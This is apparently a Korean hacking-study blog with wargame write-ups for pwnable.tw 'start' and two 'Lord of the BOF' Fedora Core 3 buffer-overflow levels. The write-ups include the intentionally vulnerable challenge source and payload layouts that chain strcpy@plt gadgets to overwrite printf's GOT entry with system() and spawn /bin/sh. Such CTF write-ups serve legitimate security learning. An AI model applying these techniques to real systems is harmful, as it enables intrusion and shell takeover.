pwnable.tw start

Posted by dw0rdptr
2017. 8. 27. 14:45 Study/Reversing&System Hacking


0x8048087 mov ecx, esp에서 스택주소를 leak할 수 있다.

그리고 그 leak한 주소에서 쉘코드까지 거리를 계산해 ret에서 쉘코드로 점프하게 만들면 끝



'Study > Reversing&System Hacking' 카테고리의 다른 글

1부 05~07장  (0) 2015.03.16
1부 01~04장  (0) 2015.03.16

FC3 evil_wizard->dark_stone

Posted by dw0rdptr
2017. 4. 7. 20:05 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - dark_stone
    - Remote BOF on Fedora Core 3
    - hint : GOT overwriting again
    - port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length;
    char temp[1024];

    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);

    // give me a food
    fgets(temp, 1024, stdin);

    // for disturbance RET sleding
    length = strlen(temp);
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, temp);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

            // disturbance RET sleding
          memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

    // buffer cleaning
    memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

    printf("%s\n", buffer);
}




이쯤되면 문제 패턴이 예상가능해진다. 역시나 전레벨 문제+remote.. remote를 제외하고 달라진점은 버퍼를 비운다는 점이다. 어차피 GOT Overwrite로 풀꺼라 신경쓰이지는 않지만.

기법정리
RTL chaining으로 /bin/sh가젯을 하나씩 구해 bss에 overwrite 후 system호출&인자 bss   --> ascii armor 우회불가능(ftz level11을 이렇게 풀었다)

RTL chaining으로 system주소를 1 byte씩 직접 printf@got 에 overwrite, print@plt 호출후 AAAA+&/bin/sh

지금까지 사용한 exploit방법인데 이번엔 좀 다르게 풀겠다

custom stack을 bss로 두고 RTL chaining으로 system주소를 하나씩 overwrite 후 printf@got에 bss를 한번에 overwrite, print@plt 호출후 AAAA+&/bin/sh

주소를 구해보자

strcpy.plt : 0x8048438       
printf.plt : 0x8048408 
printf.got : 0x804984c
pop pop ret
: 0x80484f3
.bss : 0x08049868           
system : 0x7507c0           
    c0 0x80484d0
    07 0x804817c
    75 0x80482b4
    00 0x8049804
/bin/sh : 0x833603


payload 구성 : dummy * 268
+ strcpy.plt + pop pop ret + bss+0 + system[0]
+ strcpy.plt + pop pop ret + bss+1 + system[1]
+ strcpy.plt + pop pop ret + bss+2 + system[2]
+ strcpy.plt + pop pop ret + bss+3 + system[3]
+ strcpy.plt + pop pop ret + printf@got + bss
+printf@plt + AAAA+ &/bin/sh


원격으로 쉘을 따자






'System > FC3' 카테고리의 다른 글

FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 hell_fire->evil_wizard

Posted by dw0rdptr
2017. 4. 7. 19:59 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - evil_wizard
    - Local BOF on Fedora Core 3
    - hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    int length;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // for disturbance RET sleding
    length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, argv[1]);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

        printf("%s\n", buffer);
}

중요한 가젯인 pop pop ret를 magic potion이라면서 대놓고준다.
RET sleding과 fake ebp를 막아놓았다.

힌트에도 나와있듯이 GOT overwrite를 이용해 풀자

strcpy로 printf.got를 system으로 바꿔 system을 실행할것이다. pop pop ret가 주어졌으니 RTL chaining 으로 프로그램 내에서 system의 주소 가젯을 구해 printf.got를 overwrite한다. 그뒤 /bin/sh의 주소를 찾아 인자로 주자.

system과 pop pop ret 가젯은 objdump로 구하고 plt와 got는 gdb로 구하자

(쓰지않는 함수주소도 일단 구하고봤다)
execve.plt : 0x715490  
memcpy.plt : 0x8048434
strcpy.plt  : 0x8048494  -> \x94\x84\x04\x08
memset.plt : 0x8048474
printf.plt : 0x8048424  printf.got : 0x8049884  -> \x84\x98\x04\x08
&system : 0x7507c0      c0  07  75  00  gadget
            c0 : 0x8048535  \x35\x85\x04\x08
            07 : 0x8048388 \x88\x83\x04\x08
            75 : 0x80482c8 \xc8\x82\x04\x08
            00 : 0x8049840 \x40\x98\x04\x08
pop pop ret : 0x804854f  -> \x4f\x85\x04\x08



페이로드
| dummy*268 |
| strcpy@plt | pop pop ret | printf.got | system[0] gadget |
| strcpy@plt | pop pop ret | printf.got+1 | system[1] gadget |
| strcpy@plt | pop pop ret | printf.got+2 | system[2] gadget |
| strcpy@plt | pop pop ret | printf.got+3 | system[3] gadget |
| printf@plt | dummy[4] | &/bin/sh |



'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07